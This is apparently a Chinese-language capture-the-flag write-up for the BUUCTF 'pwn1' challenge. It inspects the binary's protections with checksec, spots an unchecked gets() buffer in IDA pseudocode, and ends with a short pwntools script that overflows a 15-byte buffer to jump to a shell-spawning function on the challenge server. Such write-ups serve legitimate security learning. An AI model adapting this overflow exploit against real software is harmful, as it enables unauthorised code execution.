题目
解题
nc连接 输个ls先查看情况
查看文件pwn1的情况(使用checksec指令检查文件保护)
由以上可以知道
64位小端模式
RELRO部分启用
Stack Canary:未启用栈保护,程序未使用栈金丝雀(Canary),意味着可以直接进行栈溢出攻击,不需要担心触发canaries检查
NX 未知,且没有GNU_STACK标记
PIE:未启用
Stack Executable:栈可执行
RWX:程序存在可读可写可执行阶段
Stripped:未剥离符号表
用ida64打开文件 如下
以上伪代码显示如下
gets()危险函数,会一直读取用户的输入,造成栈溢出
gets
没有长度检查,会直接从标准输入读取数据到缓冲区 s
中。如果用户输入超过 15 字节,缓冲区 s
就会发生溢出,覆盖栈中的其他数据
找到提权函数 进行权限提升
系统命令执行函数的标准特征
找到这个函数的地址 push开始的位置,就是这个函数进入程序执行的象征
payload
from pwn import * #调用pwntools库
p=remote('node5.buuoj.cn',26455) #设置要链接的服务器,这一句就是为了链接服务器
flag = 0x0401186 #bin/sh那个函数的地址,0x表示16进制
payload = b'a'*(15)+p64(flag) #生成15个垃圾二进制数据,b'a'表示二进制的字母a。栈填满了之后,加上目标函数地址,就可以执行这个函数
p.sendline(payload) #发送这个攻击载荷
p.interactive() #与控制台进行交互,之后就可以执行指令啦
运行脚本
找到flag
参考学习连接